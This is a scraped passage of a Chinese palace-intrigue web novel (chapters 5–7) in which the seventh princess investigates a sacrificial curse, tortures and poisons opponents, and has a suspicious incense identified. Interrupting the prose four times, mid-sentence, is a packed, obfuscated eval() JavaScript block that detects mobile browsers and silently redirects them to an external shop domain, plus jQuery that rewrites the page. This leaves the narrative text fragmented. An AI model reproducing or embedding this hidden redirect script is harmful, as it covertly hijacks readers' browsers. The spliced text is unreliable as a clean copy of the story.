“无需皇兄割爱了,皇弟听说了皇兄的一些事迹,很是敬佩。但是我仍有一事不能明白,皇兄既有这份谋略,为何不像大皇兄和二皇兄一样,去带兵呢?” 秦硕一直觉得秦惟没什么城府,当然,这是和秦朝寻相比较起来的。听到秦惟能问出这种话,他倒是没忍住嗤笑了几声,忽而质疑起秦惟来:“十二弟这是替七妹问的?还是你自己想知道?” 其实不管是秦惟还是秦朝寻,很多人都想知道秦硕的想法。他虽然有在避其锋芒不愿与大皇子他们对上,却也总在某些时刻表现得太优越,如果长此下去,那些支持大皇子和二皇子一派的肯定会想办法对付他的。 “我知道……七妹她,很想要太子之位吧?”秦硕到了秦惟身边,附近无人,他们的话也就不需要再遮掩,“你是她在这宫里唯一能支配的一颗棋子,也只有你能够帮她拿到那所谓的皇权。” “我与阿姐关系如何,还不需要六皇兄来揣度。” 秦硕看到他急了,也是没料到秦惟如此没有防备心,“我知道,其实我比你要清楚你的皇姐。她入宫那日我是特意去等她的,我也以为她是一个很会服软的人,只是没料到她仅仅只在我的面前装了一下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992163|193763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “秦懿和秦荣都已不成阻碍,她七公主可以仗着陛下的宠爱此生无虞,她还有何不满?她为何还要对琳儿下手?秦惟,你真的了解秦朝寻吗?” 秦硕貌似是忘了自己要透露一下自己的原因,看着秦惟被自己一番话赌得无言以对,他仍不觉得解气。 狩猎的时间已经见底,公子们一个接一个从猎林里出来,但也不是个个都能笑着满载而归。 福寿公公掐灭火苗,一挥手,“时辰到!请各位公子稍作等候,由人钦点头数。” 贵妃们都看着那些公子们的战利品,也跟着默数了一会儿。 “丞相夫人家的二位公子倒是厉害,一人带了一头鹿回来。” “那可不是嘛,再看看那位武将世家出生的林公子,他这看起来目前还是位列前茅的呢。” 秦琳和丽妃在一块,她盯着秦惟和秦硕的猎物都数了一番,总感觉大差不差,还找起旁边的丽妃问:“母妃母妃,你看他们俩的……是不是差不多?” 福寿公公走到两位殿下面前,笑眯眯地道:“二位殿下这可谓是收获颇多啊。” “公公谬赞了。”秦硕看着小官在册子上记完数量,很快就呈到了秦燔面前。 秦燔仅仅只是过目了一番,而后交由了福寿公公进行宣判。 “本次围猎收获者颇多,现在由本官宣布此次入围的公子们。入围第三名的,相府张业成、张功成二位公子。陛下特赐文房四宝两套、御赐字画一副,骏马两匹……” “……接下来是本次的魁首,林如小将军、十二皇子秦惟和六皇子秦硕。”福寿公公也是没想到此次的魁首名字如此难念,好在自己有做心理准备顺利念完了,“恭喜三位,你们的嘉赏稍后便会列入册子里一并送去府上。” 小春也没想到十二皇子会和六皇子打成平手,她低头往自己主子看过去,问:“殿下,再看看吗?” 这样的结果绝对不是秦朝寻预想的。 “也没什么看头了,回见春宫吧,他能做成这样我倒也满意了。”秦朝寻起身离去,虽然嘴上说着满意,可她还是笃定秦惟放了水。 回宫路上,秦朝寻还是在想着秦琳说的那个故事。她按了按自己的眉心,向小春打探道:“这宫里可有卜卦的巫师?” “殿下……问这个做甚?” “……”秦朝寻不敢说自己在害怕,只能先编个谎,“秦琳今日说的不像假的,但本宫也不信真有这种诅咒。” 小春自然是信她的,说道:“咱们宫里头也只有一个国师。他就在钦天监,每当北离大祭之时他才会从钦天监里出来,平日的话……有时候就连陛下都难以请得动他。殿下如果要见他,恐怕不是易事。” “国师?”秦朝寻不由得将那大祭与秦琳所说的联系在一块,她藏在衣袍下的一只手狠狠攥紧,而后她才下定了决心,“这么一说,我也确实需要去钦天监走一遭了。” 5. 第5章 秦惟看着秦朝寻提前离开,心里莫名悲寂起来。 他知道这不是阿姐想看到的结果。 “殿下,回将军府吧。” “不了。”秦惟按了按自己的左肩,说道,“叫人通知一声舅舅,我今日在铜雀宫住下了。” 从住进将军府后,秦惟便鲜少留宿宫里了,一来是觉得闲言碎语扰得心烦,二来便是他的那位舅舅确实上了年纪需要人陪着了。这宫殿冷清许久,也只有一个老婆子负责每日的打扫。 秦惟进到屋子里,就死死扳住桌子忍着肩上的剧痛,那血竟然将绿衣浸成乌色。直到他的随侍御膳房回来撞见了这一幕,这才有人能帮他重新包扎一下伤口。 “殿下,您坐着,我找找药。” “拿止血散就行了,小伤而已。”秦惟其实是个很怕疼的人,但大多时候他却很会忍耐,几乎让人看不出破绽,“楚临,我阿姐走的时候有说什么吗?” 楚临帮他处理着伤口,也是一听到秦惟谈起七公主,擦血的动作也重了些,他冷冷答:“七公主没有递过话,围猎时她与八公主倒是聊了一会儿。” “秦琳?我记得阿姐和她曾闹过不愉快,至于是因为什么,我现在都不知道。” “殿下还记得北离的诅咒吗?十年前的七公主虽未进宫,但听闻历往的名册却是十年前就已经定下的,如今大祭将至,八公主恐怕也是去告诉她此事的。” 秦惟:“十年前阿姐未入宫,也未入皇室族谱,这名册之内怎可能有她的名字?” 楚临撒上药粉重新给他缠上绷带,仍不留情反驳:“可被献祭的九公主死的时候也不过才七岁。” 隔日,秦惟本想着去见春宫和秦朝寻小聚一会儿,却被告知七公主身体抱恙不便见客,但此时的秦朝寻已在钦天监外。 小春跟着自家主子一步步往大门过去,这地方有着很重的香火气息,是不少人视为祈福的佳地,可小春却是从心底对这里感到厌恶。 “殿下,陛下在位的这些年也只献祭了五皇子和九公主,他们都是在宫中无势力支撑的皇嗣。虽说这名册是十年前就已经拟定了,但九公主被献祭时……也不过才七岁,当年连陛下都没想到,仅仅七岁的九公主出现在了十年前的名册之上。” 秦朝寻盯着钦天监那紧紧闭上的殿门,眉眼中看不出任何恐惧,她似笑非笑走上台阶道:“究竟是国师的预言还是有心之人篡改的名册,走一遭便知。” 钦天监外,一名和尚盯着她们的眼神并不是很和善,虽未见过,但这名和尚却清楚她们的来头,“七殿下,请止步。” “你认识我,”秦朝寻别了他一眼,径直掠过他,“那你怎敢有胆子拦我?” 和尚眼看着秦朝寻就要推开殿门,也不管这是否失仪,奋身上去挡在门前。他双手合十,念到,“阿弥陀佛,七殿下,钦天监主佛堂是不接受陛下以外的人祭拜的。若是殿下要礼佛,可同小僧去偏堂。” 秦朝寻并没有那么好打发,她站在原地,那双看过来的眼睛竟然还带着攻击性。她抬头盯着这座塔殿,淡淡道:“请国师来见我,否则这佛堂的香火就要断在今日了。” 就连小春都觉得自家殿下的做法太过于偏激了一些,已经有太久太久没有见过这么强势的七公主,也不知道今日若是国师不肯露面,她家殿下能做出一些什么事。 这佛堂里或许真的有些不能见人的秘密,小春朝着台阶下看,也不知道是什么时候来了一位两鬓斑白的老者。他手里拿着奇怪的权杖,给人的感觉确实像仙风道骨一派的。 他另一只手上挂着佛珠,稍稍给秦朝寻行了礼,“贫道多有怠慢,还望七殿下海涵。” 秦朝寻与他僵持了半刻,脸上突然浮现出了一抹诡异的笑,“这位就是国师?我们见过吗?” “贫道进宫十五年从未离过钦天监,殿下怕是认错人了。”国师弯着腰,他介绍着附近的偏堂,问,“殿下既然来了,不如也点上一炷香祈福,如何?” “也好。” 偏堂里的佛香味不如塔殿附近的浓,秦朝寻用水净了手,后从小春手里接了香烛倾斜着点燃。她抬头看着前面的佛像总感觉脊背发凉。 “国师,本宫今日来是为了何事,想来你也猜到了吧?” “离大祭还有六月有余,七殿下尽可将这些抛之脑后,恕贫道不能为殿下破例。”国师说话慢慢悠悠的,也是不愿意透露任何线索。 她手里的香烛抖落了一点灰,既然国师如此嘴硬,秦朝寻只好做些其他的打算了。 “国师不说,那我也不为难了。”她将手里的香烛倒插进烟灰里,直接反客为主道,“国师入钦天监十五年了,连供奉的是什么都没有弄明白吗?” 一队亲卫列在门前,那是皇帝允给七公主的一队人马,只听命于她。随着秦朝寻手掌落下,那群人就扣下了国师和那名和尚。 “如此嘴硬,那本宫便来教教你们规矩。” 这钦天监里的和尚并不多,秦朝寻在空旷的地方叫人搬了茶桌,她拿着蒲扇控制着火势,国师则是和一群和尚一起被押着跪在她面前。 她的语气听不出来喜怒,反而是一而再地闻着:“将名册的下落告诉我,今日还能少吃些苦头。” 不需要秦朝寻下令,侍卫们就将拶子套在了他们的手上,再稍稍使点力便让人痛不欲生。 “虽说是惩罚宫女的东西,但可不能这么浪费了。”秦朝寻将蒲扇扇向了自己,仍是笑脸相迎道,“若是你们都能吃得下这苦,那我这壶好茶可要甜上许多,国师喝着应当不习惯。” 小春拿出玉瓷茶杯,也不管这茶是否烫嘴就往国师嘴边递过去。 国师不觉得秦朝寻能翻起多大的浪,可等这杯热茶到了嘴边,他这心里是真的有些慌了。他别过头,问秦朝寻:“殿下此举是要违逆历代先皇吗?早听闻七公主拿着陛下亲赐的一队亲卫胡作非为,莫非你早就想夺权篡位?” “夺权篡位?国师说得倒也让本宫心动了不少。”秦朝寻不禁哄堂大笑起来,这笑声猖狂无比,她起身将小春手里的茶杯拿走,命人掐住国师好让这热茶能让人喝的一干二净,“若是北离负我,本宫何尝不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992164|193763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己寻一条新的道!” 热茶被尽数灌了下去,秦朝寻满意抽身。就在此时,钦天监的大门外,一辆马车停了下来,那前头挂着钦天监的牌子,停好的那一瞬,一位紫衣公公拿着佛尘盯着他们走来。 “掌香监?这位公公怎么会来这里?”小春稍微提醒秦朝寻,“殿下,掌香监是伺候在陛下左右的,每隔三日来钦天监上一次香,算着日子也应该是明日才来的。” “既然他不是听父王的旨意来此,这里的事也轮不到他一个小小太监插手。”秦朝寻招呼几人去扶会儿掌香监,但那位公公有自己的脾气,可不愿意别人扶着。 他走至秦朝寻面前,笑呵呵答:“小人不过是个替陛下奉香的奴才,怎敢让七公主的人如此招待。国师……这是犯了何错?殿下要让这么多侍卫押着呢。” 小春明了秦朝寻的意思,喝道:“国师明知殿下来此上香却几番让和尚拦着,都听说塔殿里的佛最为灵通,殿下想去上个香却还被赶到偏堂!国师仗着陛下给予的恩惠如此胆大妄为,殿下此番不过是和国师喝茶讲和罢了,掌香监有何异议?” 秦燔给秦朝寻的权利甚至堪比太子,不论她做错了何事都有着陛下撑腰,这次是钦天监,下次可就不知道是七部的谁了。 掌香监来得有些晚,但他也半属钦天监的人,赔罪的话他自然也是要的,“是我管教不严,国师是陛下请驻宫里的道士,也并不会管束这些小和尚们。殿下还请看在陛下的面子上,饶了不懂事的小和尚。此后奴必将多多管教。” 继续纠缠下去并没有多大意义,秦朝寻手一挥便让亲卫撤开,又重新摆驾回宫。 国师掐着自己的脖子想要将那来历不明的茶吐出来,却怎么都行不通。 掌香监一甩拂尘,一脸嫌弃道:“不过是普通的茶叶,真做了亏心事这么怕死?” “我哪敢……公公又不是不知道这位七殿下的手段,她进宫才六年,手底下有多少人命是与她不相干的?”国师抖着腿起身,全身都还没发放松下来,“被她盯上不是好事,今日若不是掌香监突然到访,明日贫道就该见不到陛下了啊……” 上马车后的秦朝寻眸色犀利,气势却淡了。小春给她拿了些蜜糖,也没见着她有什么悦色。 “这次没找到的话也没关系的殿下,到时候……” “不是没有找到,是那个名册根本还没有写上名字。”秦朝寻托着半边脸看着这熟悉的宫道,“能够唆使钦天监的人修改名册的肯定就在宫里。” “难道是六殿下吗?” 秦朝寻眼里蒙上了寒意,她也有些不确定,“秦硕的年纪太小,二十年前的他才多少岁?他是没有本事左右名册上的名字的,不过他的母妃丽妃倒是仗着柳家做了不少见不得人的事。” 小春不能理解这些,但是这宫里也几乎找不出来权力如此大的人了,除了陛下。可秦燔也并不信奉这些,安排大祭也不过是为了不辜负百姓罢了。 小春垂下头,瞬间没了底气。 “难道停了大祭会致使北离亡国的传闻……是真的么?” 6. 第6章 每至夜里,秦朝寻都会点起一盏灯让下人放在庭院的树下,隔着一扇门看着那明灯因为风的缘故若明若灭,她觉得那是这夜里她唯一能触碰到的“月光”。 这个习惯大抵是在入宫的第二年开始有的,小春还记得那是七殿下十四岁生辰前几日,那天众多官家小姐和公主们相约画舫比试琴艺。八公主秦琳性子野,与那群官家小姐们很快就打成一片,只有七公主秦朝寻不爱说话,一直显得格格不入。 在学堂,秦朝寻的琴艺平平,是万比不上这些出生在锦绣丛里的姑娘们的。但其实比试不过是一个由头,后面她们就聊起了宫里最近的那些流言来,甚至有人还说到了秦朝寻手擒十一皇子、脚踢十皇子的事迹。 “听说七公主可把两位贵妃急得哭了,八殿下也是学了些武艺傍身的,怎么就没听说八殿下出过手?” 秦琳当时也天真,不知这是那群小姐们离间的阴谋,傻傻回答:“若是他们敢动我,那我皇兄可不会惯着了。再说了,我母亲可是先太后母家一脉的,两位娘娘她们敢动吗?” “也是啊,同样是公主,八殿下和那乡野里长大的七殿下就是不一样啊。若是七殿下有一个这么厉害的母妃……”说话的这位是和二皇子指腹为婚的林府千金,她表面是娇滴滴的才女,其实内心薄凉得很,“诶,我这话还没说完,七殿下这是要……去哪啊?” “既然比试已经结束,我就先回宫了。” 回宫的马车是同八公主一并安排好的,夜里下了一场暴雨,雷声更是打得人心惶惶。小春看着时辰在宫里等,派出去的侍卫也打探过了七公主并未和八公主一齐回宫,但她是先行离开的。 这急得小春立刻撑伞出宫去,洼地的水被踩踏着溅湿了姑娘绿色的裙摆,她在空无一人的宫道里狂奔。这宫里有太多的人想像她一样无拘束从这宫里逃出去,秦朝寻后来也问过她是否想自由,而小春的答案是否定的。 “殿下!殿下您在哪儿啊殿下!殿下?” 宫门的入口,那个人影木讷地淋着暴雨行走,仅凭一眼,小春就认出了她。 “殿下!殿下——” 她不再顾及这身潮湿的衣裙,义无反顾冲了上前。 暴雨里,两人在这初定情谊的宫道里相拥在一块。 “殿下,是小春的错,小春应该和殿下一起去画舫的。”小春帮你秦朝寻将湿发捋到耳后,两手擦着她脸上那湿热的眼泪,“殿下你有什么可以告诉小春的,小春帮殿下好不好?” 这是这么久以来,她唯一见过秦朝寻如此没底气的时候。 “小春,我想回蜀州了……” …… 这年正逢二皇子回宫,林家小姐和二皇子的婚期将近,但鲜少有人知道二皇子对林小姐更多的其实是厌恶。 学堂里的一位王少爷与林小姐是青梅竹马,但王家老爷是个奢靡之主,传闻还打死过许多小妾,林小姐自然而然也就看不上他,后面林老爷也是自作主张废了两家的姻亲。 没多久林家得陛下看重,将林家小姐指婚给了二皇子。这天降的福气她自然是要好好接着,所以好一段时间林小姐制造了许多与二皇子游马、去茶楼喝茶的“偶遇”。 但她恐怕也没想到,这好好的计划因为自己的愚蠢被毁得一干二净。 那位王少爷不知哪来的底气敢约了林小姐见面,这林小姐竟然也没有推脱去了。就在当夜里,林小姐被二皇子的人看见进了花楼里。待二皇子到时,他看到的是林小姐成瘾一般抽着旱烟,左右都是身无遮拦的妓子。 林小姐旱烟成瘾,陛下肯定是容不下她,二皇子带着这些证据欲回宫,在路上好巧不巧碰到了见春宫的马车。 秦朝寻掀起帘子,并不意外,“二哥,我这儿有个人你应该会用得上。” 后面王少爷光露出身上遭了毒打的伤痕跪在敬安宫外请求着面圣,他死死咬认是林小姐将自己打成这样,再加上二皇子亲眼所见和花楼妓子的口供,林府上下皆被流放出京,而林小姐因为旱烟成瘾被打入地牢,最后是二皇子送去了一杯毒酒。 从京城贵千金沦为人人唾弃的贱婢,她自然该疯了。 被打上锁拷的她抓着高高在上的皇子,红着眼问他:“殿下真的信吗?我真的是无辜的,他们王家如今想靠扳倒我们林家上位,殿下真的要着了那歼侫小人的道吗?” “是不是小人的道本宫不管,林姑娘,这是我给你选的体面的死法。”二皇子替她满上酒,也不管她现在是否愿意喝,“若是上了刑场上,他们可不会给你留一个全尸了。” 她心灰意冷看着二皇子离开,始终不知道自己究竟有哪一点是他不喜欢的。 忽而,一股淡香飘进这阴暗潮湿的地牢里,她对这香熟悉得很,只有宫里的贵人才用得上。林小姐当是有贵人来相救,也不看,轱辘爬上去抱住。 她哭着央求道:“贵人,求您救我出去,我林皎此后不管是上刀山下火海,我都情愿。” “林小姐,这份新婚礼来得早了些,也不知你可喜欢?” 林皎浑浑噩噩抬起头,看到的是此前完全不一样的秦朝寻。她脸上已然是上位者的笑,林皎手抖着收回,心里不禁怕了几分。 她不明白,问:“我殊不知与七公主有何愁怨?你为何害我林府从此家破人亡!” “林小姐也是贵人多忘事,不过这也不怪你。”秦朝寻假笑着弯腰,她知道如今的林皎惧她,她仍装作关切替面前的千金小姐捋一捋那遮挡秀丽面容的碎发,“王家老爷奢靡是真,但那些打死的小妾难道不是林老爷的吗?林家的一个庶女一夜之间成了嫡女,还和北离皇子定下婚约,真当后宅的事能瞒着一辈子呢?” 林皎双瞳渐缩,捂着耳朵:“你胡说!我没有杀她们,是她们逼我的,是她们逼着我……是她们在逼我!” 秦朝寻挺起腰杆看着方才二皇子留下的酒,凝思了片刻,“对,林府嫡女处处刁难你,那些姨娘们个个都比你母亲得宠,因此你杀了她们。林老爷为了掩盖家丑,扶庶女上位,可这件事瞒得再好,我也知道了不是吗?你恐怕还不知道吧?献上此计的是那位曾倾心你的王少爷呢。” “之平?他为何要诬陷我?” “林府将死人栽赃给王家的时候就没有想过报应吗?那些被你和林老爷打死的女人,难道不该给她们一个交代吗?林皎,对于林老爷来说,你也是一个很没用的棋子。”秦朝寻忽而笑着将毒酒拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992165|193763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了手中,另一手掐上林皎的玉颈,“二哥给的酒虽然是平淡了些,但林小姐也不能辜负了我二哥的这份好意啊。” 她根本不管林皎愿不愿意用一杯毒酒了结,等这毒酒淌过喉间,林皎瞬时就后悔了。 她悔自己不该招惹上了一条毒蛇。 “你说……我是个棋子?那你呢?王之平不过也是在借你们的手达成自己的目的!”林皎嘴角留下了乌红的血,病怏怏对着秦朝寻笑,“七公主,我咒你……想要的永远得不到,跟我一样,被人唾弃。” 二皇子在狱牢外等着秦朝寻,从秦朝寻把王少爷引荐给他的时候,他就觉得自己也是被布局人算计好的一枚棋子。但是秦朝寻的算计和她的年纪并不符合,为了印证自己的猜测,他假意离开只为了在这之后见一面秦朝寻。 不过最后从牢狱里出来的只有一个绿裙的姑娘,小春提着菜篮子对着皇子行礼,说道:“二殿下,我家公主已经先离开了,殿下就不用等着了。” “走了?” 据他所知,马车能行的道仅此一个,秦朝寻一个公主莫非还会自己走回去。 “我家殿下说了,此番能替二皇子解忧也是荣幸,不过毕竟是个见不得光的算计,还望二皇子帮忙一起守着这个秘密。” 二皇子寡言少语,只道一声:“多谢。” 叮铃。 灯上系着的铃铛又开始被风吹得晃起来,秦朝寻思绪被牵回当下。她手里拿着咬了半口的桃花酥,这一口嚼了许久。 “阿姐,你是不是还在生我的气?我知道错了,阿姐要如何罚我都可以。”秦惟每每在秦朝寻面前就格外惹人可怜,就连小春也看不明白他这是真的还是装的。 秦朝寻把手盖在他的头顶,安抚似的摸了摸,“不过是寻常围猎,都是给你们图个乐子。过些日子父王的旨意就该下来了,这段时间你也常进宫替父王解解忧,往后也别让我多操心。” “我晨日的时候听说阿姐身体抱恙,喝药了吗?若是还难受,我这就去替阿姐寻医官来。将军府里有极好的医师……” 小春上前解围道:“公主已无大碍,十二皇子尽可放心。这时辰也不早了,殿下可得抓紧时间赶在宫门关上前出去。” “……我知道了,阿姐,那我就先回去了。” 秦惟越来越黏着她并不是好事,秦朝寻叫小春将房门掩上,屋内只留了两只即将燃烬的红烛。 她慢慢嚼着桃花酥,苦道:“这么多年了,他还是没能学会那句‘当断则断’,我本以为将军将他养大能让我放心很多,到头来还是那个长不大的孩子。” “殿下,这些真的不需要告诉十二皇子吗?” “不了,他不需要知道。”秦朝寻用帕子拭手,而后取下了头上的发簪,“陛下那边……也该去探探了。” 将军府常有一处院子常能听到一夜的舞剑声,楚临虽然已经习惯,但今日与往日相比,这动作里都多了几分犹豫不决。 “殿下,可是有什么不对?” 秦惟一剑扫起地上的残瓣,答:“阿姐的身上有香烛的味道,她今日去了钦天监。” “所以我也要去拜一拜,看看这钦天监的佛是否真的灵验。” 7. 第7章 近日宫里要迎来喜事,连着几日都有贺礼成箱的往见春宫里送。小春一一核对着礼品,一个人忙得头晕眼花。 最近天气都是极好的,秦朝寻闲来无事也常在院子里烧茶。她越是表现得轻松,就越不寻常。 小春看着这贺礼也快清点完了,就将剩下的交给了手脚麻利的下人们继续去做了。她走到秦朝寻跟前,说道:“殿下,今年礼册上有二皇子送来的礼。” 二皇子极少与大皇子以外的皇嗣们有往来,即便是生辰也是从不送过贺礼的。距离二皇子上次回京已是四年前了,今年送的这礼秦朝寻倒觉得有些不太妙。 她搁下正在烧的茶,答:“我看看。” 这贺礼不过拿着一个普通长木匣子装着,但这挂的锁可是一把价值无法估量的金锁,上面的花纹不像北离的手艺。小春对这些颇有见识,但这东西她也只能大概猜测这东西传自漠北。 “漠北,那地方可是在三国之外,北离可有漠北的商人?” “据说第一任国师便是漠北的沙巫部族人,漠北人不好区分,况且游商众多,官兵查的也并不细致。”小春见她犹豫,也稍稍劝阻,“沙巫部的东西也有不少人觉得是不吉利的,殿下要不就先放一边吧?殿下生辰将至,该找些吉利的东西才好。” 二皇子不像秦硕那么心思深沉,秦朝寻当然也不怕他会将自己视为敌人。咔嚓一声,锁被撬动,小春看着秦朝寻慢慢取下金锁打开了那木匣子。 和秦朝寻猜想的倒也差不多,这里面没什么贵重的东西,但也不平常。小春也很疑惑,一节烧了半柱的佛香、一张泛黄的宣纸,为何会用金锁锁上保管着。 “这不是……钦天监的东西吗?” “多半是的。”秦朝寻拿起那柱香看了看,这香仅未点燃就闻得让她晕眩,还好小春眼疾手快扶了她,“……这香加了迷香?能确定这是钦天监的东西吗?” 小春猛猛点头,答:“千真万确,不瞒殿下,奴婢曾看过一次大祭,直到现在,那钦天监里烧的香也是这样的。只不过这支香更像是大祭会用的。” “果然有问题。”秦朝寻用指腹在香上寻纹路,造香的人许是怕事情败露,连刻字都是遮遮掩掩的,“朝露。” “这不是九公主的名字吗?” 秦朝寻慢慢将东西收回匣子,和小春对上了眼神。 “我得出宫一趟。” 京城东街是最热闹的,秦朝寻换了件时兴的粉色菡萏裙,幂篱上也扎着漂亮的粉花。虽未露真容,但这气质也是整个京城里别具一格的,一路上也引得不少人抢着看上几眼。 她走进一家胭脂铺便立刻有了人来引路,小娘子边走边说道:“姑娘,新的香脂已经到了,要试试吗?” “不了。” 秦朝寻随她进了一间屋子,这里面早早点上了檀香,与外面的香脂粉比起来闻着舒服许多。她缓缓摘下幂篱,问:“我要在东街住上几日,身份还是一样的,胭脂铺东家。” 胭脂铺的东家换过许多,前东家在赌坊里欠了不少银子,为了解这个燃眉之急他想着变卖了胭脂铺,谁成想竟被人半路拦截,新的东家不仅翻了银子盘下铺子,还前东家将那欠条给悉数结清了。东街可有不少人传新东家是某个达官富贵家的纨绔,如此挥金如土。 也不怪他们这么说,这东家买下铺子后就没露过面,事情都给了几个小娘子在操持。 这铺子是秦朝寻攒着月供盘下的,本是用来偷摸出宫落脚的地方,但这地方来的多是京城富贵的小姐,她们试胭脂难免说些家宅之事,后来也成了秦朝寻了解权贵秘闻的一处地方。这比起夜夜笙欢的醉香楼,探到的消息确实少了许多,不过这地方鲜少有闹事的人,她也能省心不少。 小娘子红芙将近来的消息编成了小册子递上去,不疾不徐道:“漠北商人的确不好查,但姑娘说那花纹是他们雕刻,要不先从铁匠铺子查起?” “漠北人若是想隐瞒身份留在北离,就不会轻易露出破绽。这里可有识香的人?”秦朝寻将匣子里的香烛掐下了一截用香囊袋子装着,这香不似普通香烛,却也不是安神香。 红芙面露难色,轻答:“姑娘,咱们胭脂那也只是普通花草药材,这东西兴许能去药铺问问。南街那处的药铺,虽说生意是差了点,但那个老大夫见多识广,应该是认得一些。” 秦朝寻自然不会为难她,只好再走一程。 胭脂铺的小姑娘看着红芙掌柜把人送走,凑上去打探问:“掌柜的,咱们这个东家是哪家的娘子啊?好像从没见过来试胭脂的。” “嘘,别问。这几日可得小心伺候了,赶紧将房间再打扫一番。” 南街和繁华的东街相比生意上是差了许多的,这里的铺面多了搬去了邻街开着,还留在这儿的多是自家铺面,做生意不过是为了维持生计。而红芙所说的那家药铺就是,这家药铺的老大夫曾也是太医院的,后来老了就请辞在这南街做起了药材生意。虽然生意不比其他医馆,但偶尔还是有街坊邻居过来看看小病,也是照顾了一番生意。 秦朝寻走进药铺,就见着一个年过六旬的老大夫躺在那椅子上,天着实是渐渐热起来了,他拿着那蒲苇扇似乎也没有注意到有客人来。 “大夫……” “大夫,我要的药材呢?” 进来的姑娘着一身淡蓝色粗织布料的裙子,头发倒也是随意编着。老大夫被她这一声叫醒了,眯着眼答:“哎哟,老地方去拿就是了。这位进来的姑娘……可是要买什么药材?” “我不买药材。”秦朝寻将香包拿出来,说,“我想让大夫帮我辨一辨这里面的是什么香。” “若是姑娘想配一个新的香包,何不去卖香囊的铺子?我这地方可是卖药的,这等东西我可辨不得。” 没想到这老大夫还有几分老脾气,尽管秦朝寻有办法让他开口,但毕竟无冤无仇,她也只能再找找下一家。 来西街她已经是绕了许久了,赶到下一家药铺怕是得天黑。 “姑娘!”方才在药铺里取药的小姑娘追出来,这姑娘身上一股药味,可脸色如常人,并不像得病的人。 秦朝寻停下步子回头看她,微微起疑道:“姑娘有事?” 不过十来步距离,这姑娘跑得像是要断气了一般,弯着腰大喘着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992166|193763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气还不忘说:“我、我能……我能帮姑娘辨出这香包里是何药。” 那老大夫不愿帮忙自然是怕辨认有误给自己惹上麻烦,而这自愿上门的小姑娘不仅年纪尚浅,也不像是钻研医术的。更何况这些出诊的大夫无一不是上了年纪的,越是年纪大的越是能得信任。 “姑娘怕不是在说笑?”秦朝寻看着她手里的那几包沉甸甸的药,也是惋惜,“若是想赚些银子,何不自己做些买卖生意,讹人这种事还是少做为妙。” “你那香包里是迷香,小女子师承茯苓谷,姑娘尽可信我。” 茯苓谷是不少医士求着都难拜进的医谷,每年开谷的时候更是有许多病人前去求诊,所以也极少有医师出谷治病的。京城往来茯苓谷可都要七日,她一个姑娘家怎能轻易进得了京城。 她的居所也在南街的一头巷子里,还未踏过那门槛就闻到了浓浓的药味。她别过头道:“这些是给邻居婆婆熬的,她患有极严重的心闷,家里也无儿女照顾,我也就帮帮忙每日送药过去。” “姑娘做着如此善事,就没有渴求的?”她的院子里晒了许多药材,中间还搭了一个灶用来煮药,上面那一炉貌似刚煮好,还冒着热气。屋子的门大敞着,放眼望去也都是一些装着药丸的瓶瓶罐罐。 “那当然有啊,”姑娘将旁边的石桌和石凳擦了擦,示意秦朝寻先坐下,“京城寸土寸金的地方,正如姑娘说的,我想来捞一笔,凭我的本事。” 秦朝寻淡淡一笑,将那香包推到她面前。 “若你能帮我辨认出这香的药方和用途,在这京城里,我能助你青云直上。” “那姑娘可要说话算话。” 她一副势在必得的表情,也不知什么时候她拿来了一个小盘子用来装这截下来的香。她拿着竹镊闻了闻,稍微皱了皱眉。 秦朝寻眼神黯淡了不少,想着这一趟也是无果的。 “艾叶、茯神、沉香……”姑娘将药材用白纸记录下来,顺便取了一星半点香烛用火点燃,“这几味药材都是普通的安神佛香用到的,还有一味药材是白川,这味药材北离没有。” “……白川?这是什么药?” “也是一种养神药材,若是分量把控好能治疗失眠之症,若是过多则会让人产生幻觉,而姑娘这香里分量远比普通养神香用到的要多上许多,若是在屋内点燃,人闻着必然会产生幻觉。至于最后会如何,姑娘应该猜得到。”小姑娘掐灭火焰,而后拿东西盖上以防这香害人,“这是只有漠北才有的药材,北离京城里何时有了?” 